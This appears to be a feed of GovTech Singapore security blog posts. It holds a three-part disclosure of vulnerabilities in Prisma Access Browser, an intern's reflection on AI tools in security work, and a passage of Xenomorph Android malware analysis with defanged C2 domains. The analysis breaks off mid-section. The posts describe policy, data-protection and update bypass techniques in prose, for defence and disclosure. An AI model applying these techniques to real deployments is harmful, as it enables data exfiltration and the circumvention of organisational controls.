Understanding Design Trade-offs and Security Implications

The findings in Part 3 did not arise from implementation flaws or logic errors in the traditional sense. Instead, they stem from design decisions in PAB that, when examined from an attacker’s perspective, create security consequences that may not have been apparent at the time those decisions were made. Both findings reflect the tension between building a product that meets customer needs and ensuring that the resulting design does not introduce exploitable conditions.

Finding 7: Bypassing security patches via forced version downgrades

PAB is distributed through an installer package that functions as a bootstrapper, downloading the full browser binary during setup rather than containing it directly.

We investigated the mechanism by which this installer package determines which version to retrieve, and observed that it queries a server to obtain the download URL for the full installation binary (i.e. PAB standalone installer). The request is structured as an XML document containing multiple fields that specify the desired browser version, which we investigated for opportunities to manipulate the retrieval process.

The critical parameter in this request is the “<updatecheck targetversionprefix=” field, which accepts a version number as input. We discovered that by modifying this field to specify any valid PAB version number, we could retrieve the download URL for the corresponding standalone installer, including older versions.

This allowed an attacker to install previous PAB versions that may contain known, patched vulnerabilities. We tested this by installing an earlier version of PAB and confirmed that previously patched security issues could be re-exploited.

On Windows systems, when the standalone installer runs as part of the normal installation flow, several configuration options are automatically included that provide additional security controls. When the standalone installer is downloaded and run manually, these options can be omitted. Doing so disables PAB’s automatic update mechanism, creating a persistent downgrade scenario in which the browser does not update to secure versions, allowing known vulnerabilities to be exploited indefinitely. Other techniques, such as redirecting the update server at the network or host level, can achieve the same effect.

Addressing Version Control Challenges

When we disclosed this finding, the PAB team explained that the ability to install older versions was an intentional design decision to accommodate various customer requirements, particularly around legacy compatibility and controlled rollout scenarios.

Following our disclosure, Palo Alto Networks committed to implementing an enhanced update control mechanism that would provide administrators with more robust controls to prevent the use of outdated versions. As of April 2025, this enhanced mechanism has been deployed.

Finding 8: Accessing obfuscated extension source code via public hosting endpoints

During our analysis of PAB’s installation process, we identified that the Prisma Access Browser Extension (“PAB Extension”) is hosted on publicly accessible endpoints, where it is available for download and analysis despite being distributed in obfuscated format.

While examining network traffic during installation, we observed URLs pointing to extension files hosted on the “extensions.talon-sec.com” domain.

Further investigation revealed that these URLs follow a predictable pattern in which the version number is embedded directly in the URL:

https://extensions.talon-sec.com/[extension-id]-ext-v[version].crx

By modifying the version parameter in the URL, we could download any version of the PAB Extension in CRX format.

CRX files are standard Chromium extension packages that can be extracted using common archive tools on Linux systems:

Once extracted, the extension’s source code was accessible in obfuscated form, which nonetheless permitted reverse engineering and static analysis:

The obfuscated JavaScript files, once reverse engineered, provided detailed information about PAB’s internal security mechanisms, which facilitated the discovery of other vulnerabilities during our assessment (both findings in Part 1). This is notable because the on-disk version of the PAB Extension that accompanies standard installations is encrypted — a protection that is effectively negated by the availability of obfuscated but analysable versions on publicly accessible endpoints:

Vendor Response

Following our disclosure, Palo Alto Networks clarified that the PAB Extension is made available in obfuscated format as part of their design approach. The on-disk encryption of the extension serves performance optimisation purposes rather than security objectives.

Palo Alto Networks acknowledged the security considerations around publicly hosting the obfuscated extension code. In response, they have implemented additional measures to increase the difficulty of reverse-engineering the extension and are exploring further mitigations to protect sensitive API calls within the JavaScript files.

Recommendations

For organisations deploying PAB, the findings in Part 3 point to controls that sit outside the browser itself — in how it is deployed and maintained over time.

Finding 7 is a reminder that version control is an operational responsibility, not just a vendor one. Organisations should verify that PAB is installed through the standard installation flow rather than via a manually-run standalone installer. Administrators should also confirm that PAB’s update control mechanism is active and enforced in their deployments.

Finding 8 has no straightforward remediation on the organisation’s side, since the extension hosting is a vendor-side decision. The practical implication for defenders is awareness: PAB’s internal mechanisms should not be assumed to be opaque to a determined attacker. Organisations should treat the browser’s security controls as one layer among several.

Conclusion

The findings in this part share a common thread: they did not arise from implementation bugs, but from design decisions that made sense in their original context. The ability to install older versions served real customer needs. Hosting the extension publicly simplified distribution. Neither decision was made carelessly, but both created security implications that were worth surfacing.

This is perhaps the most important lesson of the series as a whole. Security assessments that only look for traditional vulnerabilities will miss a significant class of risk. Understanding how a product is designed, how it is distributed, and how its components interact with the broader environment is just as important as finding bugs in its code.

Summary

Through this assessment, we identified several findings — of which five were recognised as vulnerabilities by Palo Alto Networks — that could allow attackers to circumvent PAB’s security controls, extract sensitive data, and bypass protective mechanisms. Our findings fell across three broad categories.

The first category, security control bypass, covered methods to circumvent PAB’s configured security policies through policy bypass and signature replay attacks. The second, environmental exploitation, covered techniques that leveraged operating system primitives to extract sensitive data and bypass data protection controls. The third, logical findings, covered design decisions that created potential security considerations, including version downgrade capabilities and the public availability of extension code for analysis.

Collectively, these findings demonstrate that while enterprise browsers provide valuable security controls, they require careful implementation and ongoing independent validation. Security guarantees that have not been tested should not be assumed to hold.

Security advisories have been published for the resolved issues:

● https://security.paloaltonetworks.com/CVE-2025-0129

● https://security.paloaltonetworks.com/CVE-2025-4233

● https://security.paloaltonetworks.com/CVE-2025-4616

● https://security.paloaltonetworks.com/CVE-2025-4617

● https://security.paloaltonetworks.com/CVE-2025-4618

We appreciate Palo Alto Networks’ professional and collaborative approach throughout the disclosure process. Their responsiveness in addressing these findings reflects a strong commitment to securing their products together with the security research community.

Click to check out Part 1 and Part 2 of this series.

Testing Enterprise Browsers — Part 3 was originally published in CSG @ GovTech Singapore on Medium, where people are continuing the conversation by highlighting and responding to this story.

Exploiting Environmental Blind Spots

Where Part 1 examined how PAB’s own policy enforcement logic could be subverted, Part 2 examines how the environment PAB runs within can be made to work against it. A recurring theme across these findings is the challenge of building application-level security controls on top of a platform — in this case, Chromium — whose default behaviours were not designed with enterprise data protection in mind.

Finding 3: Extracting secrets via Chromium sub-process memory dumps (CVE-2025–4618)

PAB is designed to protect against data exfiltration by preventing users from extracting sensitive information from the browser, including application session tokens and downloaded files (when configured to block such downloads). We investigated whether these protections could be circumvented through direct access to browser process memory.

As PAB is built on the Chromium platform, it follows Chromium’s multi-process architecture, dividing its operations across multiple sub-processes responsible for functions such as handling network traffic and managing storage.

We hypothesised that these sub-processes, which handle sensitive data during normal browser operation, would retain that data in memory in extractable form.

Our testing confirmed this hypothesis. Sensitive data was recoverable from PAB sub-process memory by a local user, without any exploitation of PAB’s own code. This is not a flaw unique to PAB; it reflects a fundamental challenge in client-side security. Protecting data from users with local system access is difficult to achieve through application-level controls alone, since those controls cannot prevent direct memory access by a sufficiently privileged user. Addressing this class of attack typically requires hardware-based protections such as confidential computing techniques — mechanisms that protect data even from the operating system itself — which operate beyond the scope of browser-level security controls.

Finding 4: Bypassing screenshot restrictions via Windows Display Affinity manipulation (CVE-2025–4617)

PAB implements data loss prevention controls that prevent users from capturing screenshots of browser content.

We investigated whether this protection could be bypassed by directly manipulating the underlying Windows API property that governs display affinity — the mechanism through which applications signal to the operating system that their content should not be captured.

Our testing confirmed that this protection could be bypassed through a direct Windows API call, allowing browser content to be captured despite the restriction being active. This finding illustrates how security controls that rely on operating system cooperation can be undermined when an attacker has sufficient access to interact with the OS directly.

Palo Alto Networks mitigated CVE-2025–4617 and CVE-2025–4618 by introducing a kernel driver (Prisma Browser’s Self-Protection feature) that enhances Prisma Browser’s security at runtime within its designated operational scope. Additional findings relating to the kernel driver’s protections have been responsibly disclosed to Palo Alto Networks and are currently under review. For secure deployment please refer to Prisma Browser Self-Protection for Windows.

Finding 5: Extracting secrets via Chromium LevelDB cache access

We also investigated whether sensitive data could be accessed through the file system. As a Chromium-based browser, PAB follows Chromium’s standard data storage patterns, including the use of LevelDB databases for local storage. These databases are stored on disk in a well-documented location and can be read using publicly available tools.

Our analysis confirmed that sensitive data stored in PAB’s local storage was accessible to a user with file system access, without any need to interact with the browser itself. This finding reinforces the broader point that data protection controls implemented at the browser interface level do not protect data that has already been written to disk in a readable format.

This finding has been addressed in Prisma Browser versions beyond 137.16.2.69.

Finding 6: Bypassing download restrictions via Chromium disk cache extraction (CVE-2025–4233)

PAB can be configured to prevent file downloads as part of its data loss prevention capabilities. We investigated whether files blocked from download might still be accessible through Chromium’s disk cache, which stores fetched resources for performance optimisation.

Our testing confirmed that files blocked from download were in some cases still recoverable from the disk cache using standard Chromium cache analysis tools. This means that a user denied the ability to download a file through PAB’s interface could in some cases retrieve it from the cache, effectively bypassing the download restriction without exploiting any vulnerability in PAB’s own code.

This finding highlights a tension inherent in building data loss prevention controls on top of a general-purpose browser platform. Chromium’s caching behaviour is a feature, not a flaw, but it creates a gap that security controls implemented above the platform layer cannot easily close.

This finding has been addressed in Prisma Browser versions beyond 137.16.2.69.

Vendor Response and Mitigations

Palo Alto Networks responded constructively to these findings and worked with us to implement appropriate mitigations. The vendor has released patches addressing these vulnerabilities, demonstrating their commitment to product security.

Security advisories detailing the fixes are available at:

● https://security.paloaltonetworks.com/CVE-2025-0129

● https://security.paloaltonetworks.com/CVE-2025-4233

● https://security.paloaltonetworks.com/CVE-2025-4616

● https://security.paloaltonetworks.com/CVE-2025-4617

● https://security.paloaltonetworks.com/CVE-2025-4618

Recommendations

For organisations deploying PAB, the findings in this part suggest several concrete actions.

The most immediate action is to ensure PAB is updated to the latest version. Findings 5 and 6 have been addressed in versions 137.16.2.69 and beyond. For Findings 3 and 4, the mitigation introduced by Palo Alto Networks requires deliberate enablement — organisations should confirm that Prisma Browser’s Self-Protection feature is active, as it is not enabled by default.

Beyond patching, these findings underscore that browser-level controls cannot substitute for endpoint security. Organisations should ensure that endpoint privilege management is in place to limit the ability of users to interact directly with process memory or OS-level APIs. Where possible, users should not have administrative privileges on their endpoints.

Data written to disk by the browser should be treated as potentially accessible to any user with file system access to that machine. Organisations handling particularly sensitive data should consider whether strict file system access controls on browser profile directories, combined with endpoint monitoring for unusual file access patterns, provide sufficient coverage, or whether additional controls are warranted.

Finally, these findings are a useful reminder that the threat model for an enterprise browser assumes a degree of trust in the endpoint itself. If that endpoint is compromised or in the hands of a malicious insider, browser-level controls will not hold. Defence-in-depth — combining PAB with endpoint detection and response, network monitoring, and access controls — remains the appropriate posture.

Conclusion

The findings in this part share a common thread: they are not primarily about flaws in PAB’s own code, but about the gap between what a browser-level security control can enforce and what the underlying platform and operating environment make possible. An enterprise browser can restrict what a user can do within the browser interface, but it cannot fully control what a sufficiently privileged local user can do outside of it, whether that means reading from disk, inspecting process memory, or manipulating OS-level APIs.

This does not mean enterprise browsers are ineffective. It means their threat model has limits, and organisations should understand those limits when deciding what complementary controls are needed alongside them.

Part 3: Logical findings arising from design decisions

In Part 3, we turn to findings that arose not from implementation flaws or environmental blind spots, but from design decisions, and the security considerations that emerge when balancing security requirements with usability and business needs.

Or check out part 1 if you haven’t done so.

Testing Enterprise Browsers — Part 2 was originally published in CSG @ GovTech Singapore on Medium, where people are continuing the conversation by highlighting and responding to this story.

Enterprise browsers have emerged as a critical security control for organisations seeking to protect sensitive data and enforce security policies in cloud-first environments. As more organisations adopt them as a cornerstone of their security architecture, the question is not just about their operational capabilities, but how they withstand targeted scrutiny from a sophisticated, determined local attacker.

As part of our ongoing efforts to evaluate security solutions used within the Singapore Government, GovTech’s Cyber Security Group (CSG) conducted a security assessment of Palo Alto Networks’ Prisma Access Browser (PAB). Our goal was not simply to run automated scans or only rely on LLMs, but to think like an attacker — reasoning across system boundaries, chaining together observations, and probing the interactions between components that are easy to overlook. This kind of assessment requires curiosity, persistence, and a willingness to question assumptions.

Executive Summary

We identified several findings, five of which have since been acknowledged and addressed by Palo Alto Networks. Through these findings, we found that an attacker with access to a device with PAB installed could install unauthorised extensions, replay captured policy configurations to weaken security controls, and extract sensitive data. Note that the latest versions of Prisma Browser mitigate our findings when installed and deployed securely following PAB’s documentation at Prisma Browser Self-Protection for Windows.

These findings do not mean that enterprise browsers are ineffective as a security control. Rather, they highlight that no security solution should be treated as a silver bullet. Enterprise browsers require careful implementation, ongoing validation, and layered defences to ensure their protections hold up against determined attackers.

We are sharing these findings not only to disclose responsibly, but because we care about whether users and organisations are protected. At the end of each part of this series, we include recommendations on patching, secure configuration, and compensating controls where relevant. Following the resolution of these findings with Palo Alto Networks, we are now sharing them with the broader security community.

Responsible Disclosure

We thank Palo Alto Networks for responding professionally and promptly addressing the vulnerabilities identified through the responsible disclosure journey. Security advisories have been published for the resolved issues:

● https://security.paloaltonetworks.com/CVE-2025-0129

● https://security.paloaltonetworks.com/CVE-2025-4233

● https://security.paloaltonetworks.com/CVE-2025-4616

● https://security.paloaltonetworks.com/CVE-2025-4617

● https://security.paloaltonetworks.com/CVE-2025-4618

About This Series

Given the breadth of our findings, we are publishing them across three parts:

● Part 1, Security control bypasses (this article): Policy bypass and signature replay attacks that circumvent PAB’s configured security policies.

● Part 2, Environmental Exploitation: Operating system-level primitives for extracting secrets and bypassing data protection controls.

● Part 3, Logical Findings: Security considerations arising from design decisions, including version downgrade capabilities and availability of obfuscated extension code for analysis

We hope these findings contribute to the broader security community’s understanding of enterprise browser security and inform both vendors and organisations in strengthening their security postures.

Finding 1: Bypassing security controls via partial policy bypass (CVE-2025–0129)

We found that by manipulating certificate trust during the login flow, we could bypass the policy before security restrictions were applied. This policy bypass was relevant when a PAB policy to restrict extension installation was in place, and enabled an attacker to install Chrome extensions that persist beyond the restricted session. The extensions were not removed upon the next browser startup, allowing them to remain active in normal PAB sessions where they can be used to bypass browser security controls, exfiltrate sensitive data, or modify browser-handled information. Note that the extensions would be removed upon an additional browser restart when the extension restriction policy is active, hence the attacker likely has to re-exploit this vulnerability to consistently reap the benefits of the attacker-installed Chrome extensions.

The vulnerability was triggered by inducing a Chromium SSL/TLS verification failure during authentication. We intercepted the certificate installation flow using a proxy tool (such as PortSwigger’s Burp Suite) and intercepted traffic through to the initial login page. At this point, we removed the interceptor’s root certificate from the Trusted Root Certification Authorities store. After entering the email address and clicking Continue, the authentication flow produced a certificate error page that presented a “Back to safety” option in the browser UI, as shown below.

Clicking the “Back to safety” option yielded a restricted PAB instance, which constitutes a policy bypass.

The restricted PAB instance limits user capabilities significantly — context-menu actions (right-click), browser settings, and the address bar are all disabled. However, the initial “Google search” bar remains available for navigation. We discovered that this search bar, along with the Web Store shortcut on the PAB homepage, provides access to the Chrome Web Store, where extensions can be installed despite the restrictions.

To demonstrate the security impact, we installed a Chrome extension while in the restricted instance.

After restarting PAB and logging in normally, we observed that the Chrome extension persisted in the fully functional PAB session. However, these Chrome extensions would be removed upon an additional browser restart when the extension restriction policy is active.

The persistence of an unauthorised extension in a normal PAB session undermines the trust model that enterprise browsers are built on. An organisation deploying PAB typically does so with the expectation that the browser environment is controlled and auditable — but a persisted, unauthorised extension breaks that assumption. Any security guarantee that depends on the integrity of that environment can no longer be relied upon, and the organisation may have no visibility into what the extension is doing or has done.

This finding has been addressed in the latest versions of Prisma Browser.

Finding 2: Bypassing security controls via signature replay attack (CVE-2025–4616)

To enforce its security control, PAB distributes a security policy to the client after the user successfully completes the login process. The policy is protected from tampering through a signature verification mechanism. However, we identified a flaw in the signature verification logic — the freshness check and the signature validation were performed separately. This allowed an attacker to substitute a different policy and its accompanying valid signature while reusing a captured freshness value, effectively bypassing the intended integrity protection, effectively bypassing the intended integrity protection. Nonetheless, carrying out this attack requires overcoming several obstacles.

Under normal circumstances, PAB’s use of certificate pinning prevents interception of policy downloads via proxy tools. However, during our testing, we observed that PAB could be launched with Chromium’s “--ignore-certificate-errors” command-line flag, which disables certificate validation and allows policy traffic to be intercepted.

Note: Latest versions of Prisma Browser block the “--ignore-certificate-errors” flag.

With certificate validation disabled, we were able to capture the security policy from the server’s response after completing the login process.

Examining the response headers, we observed that integrity protection was implemented through two separate values: X-Talon-Freshness (ensuring policy currency) and X-Talon-Signature (verifying policy authenticity). The response body contained the security policy in JSON format. In our test environment, the policy restricted access to “developerTools” and “extensionsList” options.

We verified these restrictions by confirming that the current PAB instance blocked access to developer tools and prevented side-loading of extensions.

To demonstrate the vulnerability, we use a previously captured PAB security policy that permits both developer tools and extension side-loading. This is a reasonable assumption — organisations often deploy less restrictive policies during a pilot phase before tightening controls for production. We substituted this permissive policy into the server response along with its valid signature (X-Talon-Signature), while retaining the freshness value (X-Talon-Freshness) from the original response.

After launching PAB with the substituted policy, we confirmed that both developer tools and extension side-loading were successfully enabled. This demonstrated that an attacker could replay a previously valid policy to reinstate permissions that have since been revoked, bypassing the organisation’s current intended security restrictions. Note that this replay attack is constrained to policies previously assigned to the same user within the same tenant.

This vulnerability has been addressed in the latest versions of Prisma Browser.

Recommendations

For organisations deploying PAB, the findings in this part suggest several concrete actions.

The most immediate action is to update to the latest version of Prisma Browser and follow Palo Alto Networks’ secure deployment guidance at Prisma Browser Self-Protection for Windows. Both findings have been addressed in versions 142.15.2.60 and beyond, though some mitigations are version-dependent, so organisations running older versions remain exposed.

Beyond patching, Finding 1 highlights the importance of monitoring for unauthorised browser extensions. Even where PAB’s extension restriction policy is active, organisations should consider whether they have visibility into what extensions are present in user sessions. Endpoint detection tooling that can alert on unexpected extension installations would provide an additional layer of defence.

Finding 2 is a reminder that policy integrity controls are only as strong as their implementation. Organisations should not assume that a signed policy is tamper-proof without understanding how the signature and freshness checks interact. Where PAB is used to enforce critical security boundaries, periodic validation that the expected policies are actually in effect, rather than a previously-captured permissive version, is a worthwhile operational check.

More broadly, both findings required the attacker to have some degree of access to the device and the ability to intercept or manipulate traffic. Organisations should treat endpoint security and network monitoring as essential complements to PAB, not optional additions. An enterprise browser operating on a compromised or poorly managed endpoint provides weaker guarantees than its configuration might suggest.

Conclusion

The findings in Part 1 illustrate a recurring theme in security research: the most impactful vulnerabilities are often not found in isolation, but at the seams between components, where one system’s edge case becomes another system’s entry point. Bypassing a policy enforcement mechanism during initialisation, or replaying a valid signature with a stale policy, are not brute-force attacks. They require an attacker to understand how a system is designed, where its assumptions lie, and how those assumptions can be turned against it.

This is why independent validation matters. Security controls should not be assumed to work simply because they are configured — they should be tested against the kinds of reasoning an attacker would apply.

Part 2: Environmental exploitation techniques for data extraction

In Part 2, we turn to a different class of findings: techniques that exploit the operating environment itself to extract sensitive data, bypassing protections that the browser cannot fully control. These findings reveal how even a well-hardened browser can be undermined by the complexity of the systems it runs within.

Testing Enterprise Browsers: A Security Assessment of Prisma Access Browser was originally published in CSG @ GovTech Singapore on Medium, where people are continuing the conversation by highlighting and responding to this story.

Four months isn’t a long time. But it was enough to shift how I think about what it actually means to work in cybersecurity. In this (slightly more than) 4-month internship, I got to watch simulated DDoS attacks, build AI tools using LLMs, and perform web penetration tests (both manually and through an agentic tool that did it faster than any human could). It was a lot to take in.

This reflection is my attempt to make sense of what I built, why it mattered, and what surprised me most along the way.

AI as a Productivity Tool, Not a Replacement

One of the biggest takeaways from my internship was understanding how AI fits into cybersecurity work in practice. It is easy to think of AI as something that replaces jobs, but that was not what I observed. Instead, it showed up as a way to speed up parts of the workflow that are structured, repetitive, and time-consuming.

A lot of cybersecurity work follows the same pattern of analysis applied to different problems, which takes time to repeat manually at scale. The projects I worked on were attempts to shift that balance. By using AI to handle the repetitive parts, the goal was not to remove the human, but to free up time for deeper analysis, better judgement, and more meaningful work.

1. DDoS Reconnaissance

The first major project I worked on was a tool for automating reconnaissance in simulated Distributed Denial-of-Service (DDoS) testing. A DDoS attack is a malicious attempt to disrupt a server, service, or network by overwhelming it with a flood of Internet traffic from multiple sources. To find out how resilient a system is against DDoS attacks, it needs to be tested deliberately, under controlled conditions.

Before the actual testing is done, we should start by understanding the system. Which endpoints exist? What do they do? How much traffic can they handle? By answering these questions, we would be able to find the weakest point to attack. And these questions are answered during the reconnaissance phase. Done manually, reconnaissance is painstaking. To visit the system page by page, crawl through endpoints endpoint by endpoint, trying to analyse the responses, it takes time.

So, I built a tool to automate this. It crawls the target system, collects all discoverable endpoints, and then uses an AI model to analyse each one. Based on that analysis, my tool recommends which endpoints are the most valuable to test against, and which attack vectors are the most relevant to use.

2. CVSS AutoScorer

Early in my internship, I got introduced to vulnerability scoring, where you assign a score to a newly discovered security vulnerability. Common Vulnerability Scoring System (CVSS) is the industry standard for this. You discover a vulnerability, identify eight specific metrics including the attack vector, complexity, required privileges, and impact on confidentiality, integrity, and availability, then feed them into a formula that outputs a number between 0 and 10. The higher the score, the more urgent it needs to be fixed.

The methodology is rigorous and well-defined. But doing it by hand, for every vulnerability, at scale, is tedious and slow. A skilled tester has to read through dense specifications, pull out the relevant signals, map them to metric values, and compute the score. And many of the times, there are different interpretations of the specifications, hence I often see people debating (really) over the metric value (e.g whether Confidentiality is “Low” or “High”). This makes the process both time-consuming and inconsistent.

So I built the CVSS AutoScorer. My tool takes a raw vulnerability description, sends it to an LLM asking it to identify each of the eight metrics and justify each choice, then parses the output and computes the final CVSS score. The justification part was important to get right. One of the real concerns is that LLMs may hallucinate or give inaccurate results. By having the model show its reasoning for every metric, anyone can quickly spot whether the metric value is correctly allocated. Automation doesn’t mean removing people from the loop. It means putting them in the right place in the loop.

Here’s the part I still find a little surprising: I built the whole thing in two days, using Claude Code. Not as a shortcut, but as something that genuinely sped up the thinking and building. What two days taught me is that the hard part of building useful tools isn’t really technical anymore. It’s knowing what to build and why. Once that’s clear, the rest moves faster than you’d expect.

Looking at both projects that I’ve built (or Claude Code built), the key insight here is that AI isn’t replacing the tester. It replaces the part of the job that’s rote and slow, so that the tester can focus on the part that actually requires expertise (like interpreting results and making judgement calls about risk). The role of AI isn’t to automate away the human, but to move the human upstream and away from the tedious and repetitive tasks.

What it means when AI does the attacking

I had the opportunity to experiment with agentic web penetration testing tools capable of autonomously discovering and exploiting vulnerabilities in web applications. Using it genuinely felt like catching a glimpse of what the future of penetration testing may look like.

What struck me most was the speed. Traditional pen-testing is methodical. A human probes an application, follows a lead, documents a finding, then moves on. The agentic tool ran multiple attack chains in parallel, adapted based on what it found, and covered in minutes what would take a person hours. It did not get tired or lose focus (unlike me lol). It just kept going.

That was genuinely impressive to watch. It was also a little unsettling. Because such a powerful tool would be dangerous in the wrong hands. Attackers are not sitting around doing manual hacking anymore. They have access to tools that scale, and those tools are only getting better. The uncomfortable truth is that if offensive capabilities are operating at machine speed, defensive capabilities have to as well. That realisation stuck with me more than any specific finding from the testing itself.

The New Pace of Cybersecurity

Near the end of my internship, I attended the STACKx Cybersecurity Conference. The phrase that kept coming up, across talk after talk, was “force multiplier.” AI as a force multiplier for attackers. AI as a force multiplier for defenders. The implication was always the same. The game has not changed, but the speed of the game has. And if you are not thinking about how to scale your capabilities, you are already falling behind.

Sitting in those sessions, the tools I had spent four months building suddenly felt like part of something larger. The CVSS AutoScorer was not just a way to save analyst time. It was a small attempt at a bigger question, which is how do we maintain quality at the pace the modern threat landscape actually demands. The DDoS reconnaissance tool was not just a convenience. It was an attempt to make structured, deliberate security testing move as fast as the ad-hoc probing an attacker would do without a second thought.

None of it is finished. These are early tools, first attempts, proofs of concept. But the direction feels right. Using AI not to replace human judgment, but to free the right people up to focus on the right problems, without getting buried in the manual work that surrounds them.

What I’m taking away

Looking back on this internship, I think the biggest thing I gained was a clearer understanding of what working in cybersecurity actually feels like beyond the classroom. Technical knowledge matters, but so does the ability to adapt quickly, communicate clearly, and stay curious when facing problems you have never seen before.

It also changed the way I think about technology itself. Over the course of the internship, I started to see how deeply it is beginning to reshape cybersecurity, both for defenders and attackers. Whether it was experimenting with agentic penetration testing tools, or observing how quickly workflows can now be automated, I realised that the field is changing far faster than I expected. More importantly, I learnt that understanding technology alone is not enough. Knowing when and why to apply it matters just as much.

But honestly, what I am taking away most from these four months is not a tool I built or a concept I finally understood. It is the people I met along the way. The conversations over lunch, the advice shared during casual discussions, the patience that never made me feel like my questions were out of place. I am genuinely grateful to everyone who guided and supported me throughout this journey. The memories, friendships, and connections I built over these months are what I will carry forward the most.

To everyone at GovTech who made this experience what it was:

Thank you! I came in not entirely sure what to expect, and I am leaving with a much clearer sense of the kind of work I want to do and the kind of person I want to be in this field.

What Four Months at GovTech Taught Me About Cybersecurity was originally published in CSG @ GovTech Singapore on Medium, where people are continuing the conversation by highlighting and responding to this story.

The unique techniques used by the Xenomorph malware were unlike anything I had seen before and it immediately caught my attention, so I decided to dig deeper to analyze how it works.

In this article, I will uncover the above techniques through static analysis on the Xenomorph sample to deobfuscate it, decrypt the 2nd stage payload and finally malware analysis. Lastly, I will share how I compared a few samples to identify the patterns and eventually crafted a script to fully automate the whole process.

Introducing Xenomorph

Discovered back in 2022, Xenomorph is an advanced malware that mimics other applications, such as banking and cryptocurrency applications, and steals Personally Identifiable Information (PII).

These articles should get you up to speed on the background of Xenomorph.

• Xenomorph Malware Strikes Again: Over 30+ US Banks Now Targeted (threatfabric.com)
• Xenomorph v3: a new variant with ATS targeting more than 400 institutions

The first sample we will be touching on can be found on Virustotal, Triage. This sample is from the latest Xenomorph campaign in 2023.
SHA256 hash: 259e88f593a3df5cf14924eec084d904877953c4a78ed4a2bc9660a2eaabb20b

Static Analysis

I worked on the samples on a Kali virtual machine (VM), and mainly used tools like jadx Dex to Java decompiler. Other tools I used include Python and Java for scripting, and GHex hex editor.

We will obtain the deobfuscated strings and decrypted files before proceeding with the malware analysis.

Decompiling APK file

The package names 😭

Using jadx Dex to Java decompiler, we first search for the class containing attachBaseContext, which sets up the app’s environment at the beginning before it starts running. This is typically found in the Application class or Activity class. The whole class makes multiple references to another class, cetdg, for its strings.

Deobfuscating Strings

The strings were all heavily encoded by the function sqqpnjwojnscqq.

I reviewed the code in the above function to locate where the deobfuscation was performed. From there, I re-created these functions in Python and obtained the deobfuscated strings.

[1] Code decode_cetdg_strings.py — Python script to decode strings in sample SHA256 259e88f593a3df5cf14924eec084d904877953c4a78ed4a2bc9660a2eaabb20b

• URL: GovTech-CSG/xenomorph-config-extractor/article_scripts/decode_cetdg_strings.py

1. In class fefuwlrrh:

We derive that there is a Dex file, which ends with ‘.gvo’ and is in the directory ‘sqvgk’, thus the path ‘sqvgk/<dexName that ends with ‘.gvo’>’. This brings us to another function qepfhiwqjjpmg that has this path as an argument.

2. In class mbiehswbbbng:

We derive that there is another assets file, ‘rnscus.huv’. Again, function qepfhiwqjjpmg is called.

3. In class tlbcnpufb:

The function qepfhiwqjjpmg accepts either file stream of ‘sqvgk/<dexName that ends with ‘.gvo’>’ or ‘rnscus.huv’, and a file stream of a new file (presumably the encrypted file stream) as an argument. The functions that follow (jgqf, kkvicc, sswg) are used for the unpacking and writing of the input file. For example, in function kkvicc, the key is defined and comes from class cetdg again.

…

Scouring through the APK’s resources/assets directory, we find the 2 files ‘rnscus.huv’ and ‘sqvgk/lkfupve.gvo’. Surprisingly, ‘rnscus.huv’ is just 22 bytes long, compared to ‘lkfupve.gvo’ at 1.3MB. It is thus unlikely that ‘rnscus.huv’ is our file of interest, leading us to ‘lkfupve.gvo’ being the encrypted Dex file.

Decrypting Payload

Then, I extracted out all the functions required for decryption of the encrypted Dex file ‘lkfupve.gvo’ (i.e., functions qepfhiwqjjpmg, jgqf, kkvicc, sswg) and developed an additional script to decrypt the encrypted Dex file.

[2] Code — DecryptXenoDexPayload.java: Extended script to decrypt payload in sample SHA256 259e88f593a3df5cf14924eec084d904877953c4a78ed4a2bc9660a2eaabb20b

• URL: GovTech-CSG/xenomorph-config-extractor/article_scripts/DecryptXenoDexPayload.java

The file is decrypted into a Dex file, as seen from the Dex file signature of bytes 64 65 78 0A 30 33 35 00 (SHA256: b1315eb69aa70d923637cf5a797224611c26580bd40fdd31019798d43a694194).

Malware Analysis

Upon reviewing the earlier steps, the original APK appears to drop a Dex file, which performs the main functionalities of the Xenomorph malware family.

There are also various JSON files in the original APK’s resources. Among them are the encrypted overlay similar to the ones in Xenomorph Malware Strikes Again: Over 30+ US Banks Now Targeted (threatfabric.com), found in the original APK’s resources (res/raw/rum_modules.json, res/raw/a). These overlays are used to pose as login pages for target applications.

C2 servers… and Telegram

Malware configurations are the embedded settings and parameters that determine how a malware sample behaves, including the Command and Control (C2) servers and encryption keys. In our case, part of the malware configuration comes in the form of a configuration file, which can be found here in the original APK’s resources (res/raw/c.json), containing the following C2 servers:

• fobocontentplus[.]online
• fobocontentplus[.]top
• fobocontentplus[.]site
• fobocontentplus[.]hk

It also contained another URL:

• hxxps://t[.]me/n3w3rras

I was intrigued by the use of Telegram as a C2 server, but I was not expecting it to be used to deliver an additional C2 server! With reference to this article, the Telegram URL from the original APK is used by taking the string in between hearts emoji in the description to form the C2. In the JSON file above, “begin” and “end” are the unicode representation of the 3 hearts emoji at the start and end of the description.

We can see “externalMnemonicUrl” being mentioned above as “type”, along with the Telegram URL and the “begin” and “end”. As the word “mnemonic” could refer to a pattern of letters or associations to aid in remembering something, I figured the line of random words between the hearts emoji could be deobfuscated to something else.

In the decrypted Dex file, I identified the class com.mtnyrvojt.qtbxtwjnq.api.url.ExternalMnemonicResourceApiUrlSource which decrypts the line of random words. Then, I made used of the short decoding routine observed at the start of the class (explained in the next section, Obfuscation) to decode the strings in the class, and finally reconstructed the functions to decrypt the line of random words.

[3] Code — DecryptTelegramC2.java: to decrypt the Telegram strings in sample SHA256 259e88f593a3df5cf14924eec084d904877953c4a78ed4a2bc9660a2eaabb20b

• URL: GovTech-CSG/xenomorph-config-extractor/article_scripts/DecryptTelegramC2.java
• The payload will locate the string between the heart emojis from the Telegram channel description for decryption.

• The important function is the function decrypt as it takes the Telegram description and decrypts it, forming a URL.
• The function caeDecrypt from the class UtilEncryption was used in the function decrypt.

Running the script, we get a new C2 server Bkp[.]HaD0[.]live, where information like commands is obtained and sent to. The endpoints for this C2 server are ping and metrics, which are also mentioned in the configuration file c.json.

Endpoints:

ping

• Used for initial verification step.
• A request is sent to the C2 to register and verify itself.

• The message is encrypted using an AES key as seen in the original APK’s resources above (res/raw/c.json) (ref: Apkdetect & OpenCTI (linkedin.com), Xenomorph Android Trojan Communication Protocol Analysis (security-garage.com)).

• A request is sent to the C2 server again and the following is obtained.

metrics

• Used to retrieve commands from the C2 and send information.

Obfuscation

There is a ton of obfuscation (again) in the decrypted Dex file and we are unable to determine the intent of each function simply by eyeing it. Let’s analyze it further to locate how it is deobfuscated.

We can observe that at the start of most classes, a decoding routine is called. This takes in a different array $ for every class and decodes it.

